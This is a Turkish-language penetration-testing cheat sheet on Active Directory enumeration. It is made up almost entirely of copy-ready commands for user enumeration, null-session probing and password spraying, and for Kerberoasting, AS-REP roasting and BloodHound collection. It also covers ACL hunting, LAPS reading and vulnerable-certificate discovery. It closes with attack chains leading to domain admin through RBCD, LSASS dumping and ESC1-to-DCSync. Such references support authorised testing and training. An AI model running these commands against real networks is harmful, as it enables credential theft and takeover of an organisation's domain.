AD Enumeration
MITRE ATT&CK · T1087.002 phase: discovery
MITRE ATT&CK · T1087.002 phase: discovery
Enumeration, AD sızma testinin temelidir: kullanıcılar, gruplar, bilgisayarlar, GPO’lar, ACL’ler, SPN’ler, delegation ayarları ve trust ilişkileri toplanır ve domain dominasyonuna giden saldırı yolları çıkarılır. Amaç “ne var?” değil; “elimdeki kimlikle hangi kenar üzerinden yükseliyorum?” sorusuna cevap vermektir.
Ön koşullar ve hedef çıktı
Section titled “Ön koşullar ve hedef çıktı”| Aşama | Gerekli | Üretilen |
|---|---|---|
| Kimliksiz | DC IP/FQDN, domain adı | geçerli kullanıcı listesi, null session verisi |
| Kimlikli (low-priv) | herhangi domain hesabı | BloodHound zip, SPN/AS-REP, ACL, trust |
| Windows foothold | PowerShell / SharpHound | oturum (session) kenarları, local admin |
BloodHound kenarları (sonraki adımlar): MemberOf, GenericAll, GenericWrite, WriteDacl, ForceChangePassword, AddMember, AllowedToDelegate, AllowedToAct, HasSession, AdminTo, ReadLAPSPassword, Owns, CanRDP, CanPSRemote.
Kimliksiz (unauthenticated)
Section titled “Kimliksiz (unauthenticated)”-
Kullanıcı adı keşfi (Kerberos pre-auth) — kerbrute / GetNPUsers ile geçerli kullanıcıları ayıkla. Yanlış kullanıcı → KRB_AP_ERR_SKEW / PRINCIPAL_UNKNOWN ; doğru → preauth required. Kilitlenme yaratmaz (parola denemesi yok):
Terminal window kerbrute userenum -d domain.local --dc 10.10.10.5 users.txtTerminal window impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.5 -no-pass -
Anonim SMB/LDAP — null session ve anonim bind dene:
Terminal window nxc smb 10.10.10.5 -u '' -p ''Terminal window nxc smb 10.10.10.5 -u 'guest' -p ''Terminal window enum4linux-ng -A 10.10.10.5Terminal window rpcclient -U '' -N 10.10.10.5 # enumdomusers / querydispinfoTerminal window ldapsearch -x -H ldap://10.10.10.5 -s base namingContextsTerminal window ldapsearch -x -H ldap://10.10.10.5 -s base -b '' '(objectClass=*)' * -
Parola politikası (mümkünse) — spray öncesi kilitlenme eşiği:
Terminal window nxc smb 10.10.10.5 -u user -p 'Wrong' --pass-pol # geçerli user + yanlış parolaTerminal window rpcclient -U '' -N 10.10.10.5 -c 'getdompwinfo' -
RID cycling / SAMR — null session açıksa kullanıcı dump:
Terminal window impacket-lookupsid domain.local/guest@10.10.10.5 -no-passTerminal window impacket-samrdump domain.local/@10.10.10.5 -no-pass
Password spray (kimliksiz → ilk kimlik)
Section titled “Password spray (kimliksiz → ilk kimlik)”nxc smb 10.10.10.5 -u users.txt -p 'Summer2026!' --continue-on-successkerbrute passwordspray -d domain.local --dc 10.10.10.5 users.txt 'Summer2026!'Kimlikli (authenticated) — NetExec hızlı envanter
Section titled “Kimlikli (authenticated) — NetExec hızlı envanter”Geçerli bir düşük yetkili hesap elde edildikten sonra:
nxc smb 10.10.10.5 -u user -p 'Pass123' --usersnxc smb 10.10.10.5 -u user -p 'Pass123' --groupsnxc smb 10.10.10.5 -u user -p 'Pass123' --pass-polnxc smb 10.10.10.5 -u user -p 'Pass123' --computersnxc smb 10.10.10.0/24 -u user -p 'Pass123' --sharesnxc smb 10.10.10.0/24 -u user -p 'Pass123' --sessionsnxc smb 10.10.10.0/24 -u user -p 'Pass123' --loggedon-usersnxc smb 10.10.10.0/24 -u user -p 'Pass123' --local-groupsnxc ldap 10.10.10.5 -u user -p 'Pass123' --bloodhound -c all --dns-server 10.10.10.5nxc ldap 10.10.10.5 -u user -p 'Pass123' --trusted-for-delegationnxc ldap 10.10.10.5 -u user -p 'Pass123' --admin-countnxc ldap 10.10.10.5 -u user -p 'Pass123' --gmsanxc ldap 10.10.10.5 -u user -p 'Pass123' -M maq # MachineAccountQuotanxc ldap 10.10.10.5 -u user -p 'Pass123' --kerberoasting kerb.txtnxc ldap 10.10.10.5 -u user -p 'Pass123' --asreproast asrep.txtHash ile aynı komutlar: -H :<NT_hash> veya -H LM:NT.
BloodHound / SharpHound toplama
Section titled “BloodHound / SharpHound toplama”-
Uzaktan Python collector :
Terminal window bloodhound-python -u user -p 'Pass123' -d domain.local \-ns 10.10.10.5 -c all --zipTerminal window bloodhound-python -u user -p 'Pass123' -d domain.local -ns 10.10.10.5 -c DCOnly --zip -
Windows — SharpHound (session kenarları için foothold şart):
Terminal window SharpHound.exe -c All --zipfilename lootTerminal window SharpHound.exe -c Session,LoggedOn --Loop --LoopDuration 02:00:00Terminal window SharpHound.exe -c DCOnly -
İçe aktar + Owned işaretle — ele geçirdiğin kullanıcı/host’ları BloodHound CE’de Mark as Owned ; sonra Shortest Paths from Owned .
Ayrıntılı kenar yorumu: BloodHound.
PowerView / ADModule (Windows)
Section titled “PowerView / ADModule (Windows)”Import-Module .\PowerView.ps1Get-DomainUser -Properties samaccountname,serviceprincipalname,memberof,pwdlastsetGet-DomainGroupMember -Identity 'Domain Admins' -RecurseGet-DomainComputer -UnconstrainedGet-DomainUser -SPN | select samaccountname,serviceprincipalnameGet-DomainUser -PreauthNotRequiredGet-DomainTrust / Get-DomainTrustMappingGet-DomainGPO | Get-DomainObjectAcl -ResolveGUIDsFind-InterestingDomainAcl -ResolveGUIDsFind-LocalAdminAccess -VerboseGet-NetSession -ComputerName dc01Get-ObjectAcl -Identity 'Domain Admins' -ResolveGUIDsGet-DomainObjectAcl -SearchBase 'DC=domain,DC=local' -ResolveGUIDs |? {$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteProperty'}Manuel LDAP sorguları
Section titled “Manuel LDAP sorguları”BASE='DC=domain,DC=local'BIND='user@domain.local'ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \ -b "$BASE" '(objectCategory=person)' sAMAccountName userPrincipalNameldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \ -b "$BASE" '(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local)' sAMAccountNameldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \ -b "$BASE" '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalNameldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \ -b "$BASE" '(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' sAMAccountNameldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \ -b "$BASE" '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountNameldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \ -b "$BASE" '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))' dNSHostNameDelegation, ADCS, LAPS, trust — hedefli enum
Section titled “Delegation, ADCS, LAPS, trust — hedefli enum”impacket-findDelegation domain.local/user:'Pass123' -dc-ip 10.10.10.5certipy find -u user@domain.local -p 'Pass123' -dc-ip 10.10.10.5 -vulnerable -stdoutnxc ldap 10.10.10.5 -u user -p 'Pass123' -M lapsnltest /domain_trusts /all_trustsnxc ldap 10.10.10.5 -u user -p 'Pass123' --dc-listKomut üreteci
Section titled “Komut üreteci”AD Enum · NetExec LDAP
embedded toolnxc ldap 10.10.10.5 -u lowpriv -p Pass123 --users --groups --pass-polAD Enum · NetExec LDAP
Section titled “AD Enum · NetExec LDAP”Saldırı zinciri örnekleri
Section titled “Saldırı zinciri örnekleri”1) kerbrute userenum → password spray → low-priv2) bloodhound All → GenericWrite on WORKSTATION$ → RBCD → local admin3) AS-REP roast → kırılan servis hesabı → AdminTo DA laptop → LSASS → DA4) certipy find ESC1 → req SAN=Administrator → DCSyncYaygın tuzaklar
Section titled “Yaygın tuzaklar”- Kerberos komutlarında IP yerine FQDN ; DNS ( -ns / hosts) şart.
- Clock skew > 5 dk → bilet/auth fail; ntpdate veya faketime .
- BloodHound Session kenarı stale olabilir; loop collection kullan.
- MachineAccountQuota=0 → RBCD için yeni makine hesabı açılamaz.
- Guest/null session modern DC’lerde kapalı; yine de eski file server’larda dene.
Sonraki adımlar
Section titled “Sonraki adımlar”- AS-REP Roasting / Kerberoasting
- ACL Abuse / ADCS ESC1
- BloodHound ile yol seçimi